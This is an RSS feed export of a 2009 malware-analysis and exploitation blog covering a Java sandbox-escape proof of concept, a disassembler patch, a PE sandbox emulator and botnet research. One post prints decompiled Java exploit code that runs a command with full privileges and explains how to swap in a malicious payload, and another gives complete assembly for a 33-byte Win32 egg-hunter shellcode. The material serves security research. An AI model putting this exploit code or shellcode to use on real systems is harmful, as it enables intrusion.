<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' version='2.0'><channel><atom:id>tag:blogger.com,1999:blog-35193323</atom:id><lastBuildDate>Tue, 09 Jun 2009 13:53:20 +0000</lastBuildDate><title>oxff's Blog</title><description>Blog of Georg 'oxff' Wicherski about Malware Analysis, Exploitation and occassional notes about my travels.</description><link>http://blog.oxff.net/</link><managingEditor>noreply@blogger.com (oxff)</managingEditor><generator>Blogger</generator><openSearch:totalResults>43</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-8448258605384038834</guid><pubDate>Wed, 20 May 2009 14:17:00 +0000</pubDate><atom:updated>2009-05-20T16:24:59.429+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>malware</category><category domain='http://www.blogger.com/atom/ns#'>exploitation</category><title>Unresponsible Disclosure: The MacOS X Java Bug</title><description>&lt;p&gt;Landon Fuller decided to publish a &lt;a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/hello.html"&gt;proof of concept&lt;/a&gt; for a Sun Java VM vulnerability, that is still unpatched on Mac OS X. I agree that after this timespan, it was neccessary to demonstrate how easy it is to exploit this vulnerability; however, he decided to make it trivial to build your own exploit from it.&lt;/p&gt;

&lt;p&gt;You can easily fetch &lt;a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/HelloWorldApplet.class"&gt;HelloWorldApplet.class&lt;/a&gt; from his page and look at a decompiled version by JAD. He uses his own loader package fun.FunLoader, so grab &lt;a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/fun/FunLoader.class"&gt;fun/FunLoader.class&lt;/a&gt; as well. HelloWorldApplet also uses &lt;a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/javax/Exec.class"&gt;javax/Exec.class&lt;/a&gt; and &lt;a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/javax/Exec$1.class"&gt;Exec$1.class&lt;/a&gt;, and if we decompile that, it is trivial to spot, how to craft your own exploit:&lt;/p&gt;

&lt;pre&gt;package javax;

import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class Exec
{

    public Exec()
    {
        try
        {
            final String cmd[] = {
                "/usr/bin/say", "I am executing an innocuous user process"
            };
            AccessController.doPrivileged(new PrivilegedExceptionAction() {

                public Object run()
                    throws Exception
                {
                    Runtime.getRuntime().exec(cmd);
                    return null;
                }

                final String val$cmd[];
                final Exec this$0;

            
            {
                this$0 = Exec.this;
                cmd = as;
                super();
            }
            });
        }
        catch(Exception exception)
        {
            throw new RuntimeException("Exec failed", exception);
        }
    }
}&lt;/pre&gt;

&lt;p&gt;You can even recycle all .class files and his &lt;a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/t.tmp"&gt;t.tmp&lt;/a&gt; serialized input stream, just replace Exec.class in your local copy with your malicious payload.&lt;/p&gt;

&lt;p&gt;Now this is unresponsible disclosure if it is so dead-easy to build your own exploit from it, it's almost easier than writing a custom shellcode for an existing exploit.&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-8448258605384038834?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2009/05/unresponsible-disclosure-macos-x-java.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>13</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-953731067627283490</guid><pubDate>Sun, 10 May 2009 19:34:00 +0000</pubDate><atom:updated>2009-05-10T21:38:07.080+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>personal</category><title>Death of a X200s Display</title><description>&lt;p&gt;Attraction is...&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.oxff.net/uploaded_images/x200s-death2-731037.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://blog.oxff.net/uploaded_images/x200s-death2-731034.jpg" alt="" border="0" /&gt;&lt;/a&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.oxff.net/uploaded_images/x200s-death1-714518.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://blog.oxff.net/uploaded_images/x200s-death1-714515.jpg" alt="" border="0" /&gt;&lt;/a&gt;

&lt;p&gt;... if you still talk to her.&lt;/p&gt;

&lt;p&gt;(I made her crawl on the floor and whimper, though.)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-953731067627283490?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2009/05/attraction-is.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-2056372696446186774</guid><pubDate>Fri, 08 May 2009 10:27:00 +0000</pubDate><atom:updated>2009-05-08T12:30:43.007+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>assembly</category><title>libdasm @ Google Code</title><description>&lt;p&gt;Since `jt' apparently does not have the time or envy to maintain libdasm anymore, Ange Albertini has taken the task and created a new Google Code Project for &lt;a href="http://code.google.com/p/libdasm/"&gt;libdasm&lt;/a&gt; (libdasm was public domain anyway) for maintining it; my recent FPU fix is already included and I will try to get people like &lt;a href="http://silviocesare.wordpress.com/"&gt;Silvio Cesare&lt;/a&gt; adding their fixes and patches as well. Thanks Ange for stepping forward!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-2056372696446186774?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2009/05/libdasm-google-code.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-3158830154360635659</guid><pubDate>Fri, 10 Apr 2009 11:44:00 +0000</pubDate><atom:updated>2009-04-15T02:12:30.685+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>malware</category><category domain='http://www.blogger.com/atom/ns#'>assembly</category><title>libdasm D9h FPU Instructions Fix</title><description>&lt;p&gt;libdasm incorrectly  disassembles FPU instructions with D9 prefix and second byte &gt; &lt;code&gt;fnop&lt;/code&gt;. Affected instructions amongst others include &lt;code&gt;fsin&lt;/code&gt;, &lt;code&gt;fcos&lt;/code&gt; and &lt;code&gt;frndint&lt;/code&gt;. The reason is simple, there is four NULL lines missing in the correspondending opcode table, resulting in an off-by-four for the following opcodes. I've sent a very simple patch to the libdasm author, until it is included in a release, it's here as well:&lt;/p&gt;

&lt;pre&gt;$ cat libdasm-1.5-fpufix-d9prefix.patch 
--- libdasm-1.5/opcode_tables.h 2006-02-21 15:29:41.000000000 +0100
+++ libdasm-1.5-fpufix/opcode_tables.h 2009-04-10 13:32:20.000000000 +0200
@@ -1818,6 +1818,10 @@
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
  { INSTRUCTION_TYPE_FPU,    "fchs",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 },
  { INSTRUCTION_TYPE_FPU,    "fabs",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 },
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, &lt;/pre&gt;

&lt;p&gt;I've stumbled across this while trying to use my (pefile and pydasm based) code normalizer on a malware packer using float's for looping.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-3158830154360635659?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2009/04/libasm-d9h-fpu-instructions-fix.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>3</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-8085829678741748768</guid><pubDate>Fri, 03 Apr 2009 21:52:00 +0000</pubDate><atom:updated>2009-04-04T00:02:03.756+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>malware sandbox pe</category><title>PE Sandboxing</title><description>&lt;p&gt;Because I'm frustrated about the poor scalability of most &lt;i&gt;sandboxes&lt;/i&gt; out there, which quite frankly don't deserve their name anyway, because they're just VMs with some Ring 0 rootkit, I've started some work on dynamic code analysis by a per-process level PE sandbox. So far, I've got the execution of arbitrary code with virtual memory; I had PE loading, but deleted it and could not recover from ext3 (vlashef being my witness).&lt;/p&gt;

&lt;p&gt;There are two testcases of interest, the first regarding performance:&lt;/p&gt;
&lt;pre&gt;$ cat testcases/simple-loop.asm 
[bits 32]


start:
 mov ecx, 0x100000
 xor eax, eax

.1:
 inc eax
 dec ecx
 jnz .1

end:
 int3&lt;/pre&gt;

&lt;p&gt;Due to some fancy analysis (admittedly, so far it only supports backward jumps), we can put more than one basic block directly on the CPU:&lt;/p&gt;

&lt;pre&gt;$ time ./libcpu-test 100 &lt; testcases/simple-loop.bin 
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 1000 -&gt; 0x37cd2000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -&gt; 0x380d1000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 3fc000 -&gt; 0x380cd000, 4000
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000000
eip: 00400000
  &gt; mov ecx,0x100000
  &gt; xor eax,eax
  &gt; inc eax
  &gt; dec ecx
  &gt; jnz 0x400007
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -&gt; 0x380d1000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x380d1000 b
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00100000
eflags: 00000246
eip: 0040000b
---
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00100000
eflags: 00000246
eip: 0040000b
Unrecognized instruction for emulation: int3 cc 1

real 0m0.005s
user 0m0.004s
sys 0m0.000s&lt;/pre&gt;

&lt;p&gt;The second example is more interesting, because it shows the ability to handle self-modifying code. The following snippet copies itself right behind itself and then runs into the copy without any jump:&lt;/p&gt;

&lt;pre&gt;$ cat testcases/copysled.asm 
[bits 32]


start:
 mov ebx, 0x10

sled:
 call $+5
 pop esi
 sub esi, 5

 mov edi, esi
 mov ecx, end-sled
 add edi, ecx

 rep movsb

 dec ebx
 jnz end

 int3

end:
 hlt&lt;/pre&gt;

&lt;p&gt;For obvious reasons, I've cut out some of the output in the middle:&lt;/p&gt;

&lt;pre&gt;bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 1000 -&gt; 0x37c6f000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -&gt; 0x3806e000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 3fc000 -&gt; 0x3806a000, 4000
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000000
eip: 00400000
  &gt; mov ebx,0x10
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -&gt; 0x3806e000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e000 5
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 00400005
---
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 00400005
Emulating CALL instruction from 40000a.
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e005 0
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 003ffffc
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040000a
---
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 003ffffc
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040000a
  &gt; pop esi
  &gt; sub esi,0x5
  &gt; mov edi,esi
  &gt; mov ecx,0x1b
  &gt; add edi,ecx
  &gt; rep movsb 
  &gt; dec ebx
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e00a 13
edi: 00400020
esi: 00400005
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 0000001b
eax: 00000000
eflags: 00010212
eip: 0040001a
---
edi: 00400020
esi: 00400005
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 0000001b
eax: 00000000
eflags: 00010212
eip: 0040001a
  &gt; rep movsb 
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -&gt; 0x3806e000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e01a 2
edi: 0040003b
esi: 00400020
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040001c
---
edi: 0040003b
esi: 00400020
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040001c
  &gt; dec ebx
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -&gt; 0x3806e000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e01c 1
edi: 0040003b
esi: 00400020
ebp: 00000000
esp: 00400000
ebx: 0000000f
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000216
eip: 0040001d
---
[[[ CUT ]]]
---
edi: 004001d0
esi: 004001b5
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000246
eip: 004001b2
Emulating Jcc 1: 0
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e1b2 0
edi: 004001d0
esi: 004001b5
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000246
eip: 004001b4
---
edi: 004001d0
esi: 004001b5
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000246
eip: 004001b4
Unrecognized instruction for emulation: int3 cc 1

real 0m0.006s
user 0m0.004s
sys 0m0.000s
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-8085829678741748768?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2009/04/pe-sandboxing.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-5942290488019544787</guid><pubDate>Wed, 04 Mar 2009 17:40:00 +0000</pubDate><atom:updated>2009-03-04T18:50:10.477+01:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>botnets</category><category domain='http://www.blogger.com/atom/ns#'>alliance</category><title>inspircd</title><description>&lt;p&gt;I have just today come across &lt;a href="http://www.inspircd.org/"&gt;inspircd&lt;/a&gt;, a great IRC server. It is very modular and has an astonishing default feature set with amazingly good configuration documentation, compared to other ircd's out there. Probably also very nice for hosting your botnet, thanks to its modularity.&lt;/p&gt;
&lt;p&gt;&lt;img src="http://img214.imageshack.us/img214/2774/inspircd.png" alt="irssi to inspircd" /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-5942290488019544787?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2009/03/i-have-just-today-come-across-inspircd.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-434445213271515987</guid><pubDate>Wed, 18 Feb 2009 12:46:00 +0000</pubDate><atom:updated>2009-02-18T14:40:24.039+01:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>shellcode</category><category domain='http://www.blogger.com/atom/ns#'>assembly</category><title>Win32 Egg Search Shellcode, 33 bytes</title><description>&lt;p&gt;For a current collaboration on taking down yet another botnet, I had to write a &lt;i&gt;very&lt;/i&gt; small shellcode. Thanks to some ideas from &lt;i&gt;Understanding Windows Shellcode&lt;/i&gt; by &lt;a href="http://hick.org/~mmiller/"&gt;skape&lt;/a&gt;, I managed to write a egg search shellcode in 33 bytes.&lt;/p&gt;

&lt;p&gt;The general idea of the AddAtomA int 2e memory testing was public, but the best
implementation I could find was 40 bytes long (skape's one)
and had the limitation of an executable marker. This one is 33 bytes long and you can choose
any four byte marker you want. If we wouldn't start at 0, we could save two more bytes
going down to 31, but this makes search a lot slower. There is a 32 byte version by skape
that requires page aligned 2nd stage, which is not really comparable because it again
requires an executable marker and a 2nd stage injection of at least 4kb with a long &lt;i&gt;marker
 sled&lt;/i&gt;. Sill I first got the int 2e idea from his paper, so credits to him for that.&lt;/p&gt;

&lt;p&gt;The only real limitation of this shellcode is that your second stage may not be within the
first four bytes of a page boundary. Theoretical probability is &lt; 0.1%, having heap allocator
designs in mind, it is even less probable.&lt;br /&gt;
 If this is a severe stability limitation for you, there is two solutions:
&lt;ol&gt;&lt;li&gt;Use an executable marker and put it in front of the shellcode twice. Usually, it will
trigger in the first four bytes and jump into the second marker. If it really is page
aligned, it will jump right after the second marker.&lt;/li&gt;
&lt;li&gt;Use any (non-executable) marker and put a second marker with a relative jump to your
shellcode after the shellcode.&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;

&lt;p&gt;This shellcode is 100% position independent w/o any GetPC sequence, so it won't be detected
by libemu and similiar things (although this wasn't a design goal but just a side effect).
The second stage shellcode can also be implemented without any GetPC sequence, as it gets
its own address passed in edx.&lt;/p&gt;


&lt;p&gt;There is a weird &lt;code&gt;inc ebx&lt;/code&gt; instruction at the end of the shellcode, but for a good reason:
If this eggsearch shellcode lies in memory before the actual shellcode, our search will
stop at the imm32 of the cmp r/m32, imm32 instruction and the jmp edx will go to the
next instruction, jne (= jnz) address_loop. The inc ebx ensures that ZF is not set
(unless we're very unlucky and our exploitation environment had the otherwise unused ebx
register set to 0xffffffff) and thus our search continues at the next address.&lt;/p&gt;

&lt;pre&gt;
; win32 eggsearch shellcode, 33 bytes
; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3
; (c) 2009 by Georg 'oxff' Wicherski &lt;gw@mwcollect.org&gt;

[bits 32]

marker equ 0x1f217767   ; 'gw!\x1f'

start:
 xor edx, edx   ; edx = 0, pointer to examined address
      
address_loop:
 inc edx    ; edx++, try next address

pagestart_check:
 test dx, 0x0ffc   ; are we within the first 4 bytes of a page?
 jz address_loop   ; if so, try next address as previous page might be unreadable
     ; and the cmp [edx-4], marker might result in a segmentation fault

access_check:
 push edx   ; save across syscall
 push byte 8   ; eax = 8, syscall nr of AddAtomA
 pop eax    ; ^
 int 0x2e   ; fire syscall (eax = 8, edx = ptr)
 cmp al, 0x05   ; is result 0xc0000005? (a bit sloppy)
 pop edx    ;

 je address_loop   ; jmp if result was 0xc0000005

egg_check:
 cmp dword [edx-4], marker ; is our egg right before examined address?
 jne address_loop  ; if not, try next address

egg_execute:
 inc ebx    ; make sure, zf is not set
 jmp edx    ; we found our egg at [edx-4], so we can jmp to edx
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-434445213271515987?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2009/02/win32-egg-search-shellcode-33-bytes.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-2513041757518081243</guid><pubDate>Thu, 30 Oct 2008 11:05:00 +0000</pubDate><atom:updated>2008-10-30T12:07:03.197+01:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>malware</category><category domain='http://www.blogger.com/atom/ns#'>slides</category><category domain='http://www.blogger.com/atom/ns#'>botnets</category><title>GovCERT.nl 2008 Slides</title><description>My &lt;a href="http://starkwind.oxff.net/dump/govcert-nl-08.pdf"&gt;GovCERT.nl 2008 slides&lt;/a&gt; are online now.&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-2513041757518081243?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><enclosure type='application/pdf' url='http://starkwind.oxff.net/dump/govcert-nl-08.pdf' length='0'/><link>http://blog.oxff.net/2008/10/govcertnl-2008-slides.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-3801100943395044137</guid><pubDate>Sat, 11 Oct 2008 18:09:00 +0000</pubDate><atom:updated>2008-10-11T20:10:12.131+02:00</atom:updated><title>mwcollect Alliance Webinterface Development</title><description>&lt;object width="425" height="349"&gt;&lt;param name="movie" value="http://www.youtube.com/v/HE7UuLUybGc&amp;hl=en&amp;fs=1&amp;rel=0&amp;color1=0x3a3a3a&amp;color2=0x999999&amp;border=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/HE7UuLUybGc&amp;hl=en&amp;fs=1&amp;rel=0&amp;color1=0x3a3a3a&amp;color2=0x999999&amp;border=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="349"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-3801100943395044137?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2008/10/mwcollect-alliance-webinterface.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-8261507043281706425</guid><pubDate>Thu, 01 May 2008 21:11:00 +0000</pubDate><atom:updated>2008-05-01T23:16:48.658+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>personal</category><title>Reflect Yourself</title><description>&lt;p&gt;&lt;a href="http://www.nature-one.de/events/mayday/"&gt;Mayday 2008&lt;/a&gt; was a total blast, DJ Korsakoff made &lt;a href="http://youtube.com/watch?v=RPdA0V-9mlc"&gt;a hell of a performance&lt;/a&gt;. Eventhough I didn't sleep the last 30 hours or so, I'm still rather awake due to the coffinated water they sold. I'll update this blog post with some own trashy mobile phone video later.&lt;/p&gt;

&lt;p&gt;&lt;blockquote&gt;We are still here!&lt;/blockquote&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-8261507043281706425?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2008/05/reflect-yourself.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-8567084194595619541</guid><pubDate>Thu, 13 Mar 2008 14:33:00 +0000</pubDate><atom:updated>2008-03-13T15:34:32.100+01:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>botnets</category><category domain='http://www.blogger.com/atom/ns#'>alliance</category><title>Botnet Monitoring Frontend</title><description>&lt;p&gt;&lt;a href="http://img72.imageshack.us/my.php?image=botsnoopdbf0.png"&gt;&lt;img src="http://img72.imageshack.us/img72/9556/botsnoopdbf0.th.png" alt="BotMon" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-8567084194595619541?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2008/03/botnet-monitoring-frontend.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-8931353460230569018</guid><pubDate>Sat, 15 Dec 2007 11:20:00 +0000</pubDate><atom:updated>2007-12-15T12:21:07.255+01:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>malware</category><title>Spam, please</title><description>Please &lt;a href="mailto:incoming@oxff.net"&gt;send me&lt;/a&gt; your spam or malware!&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
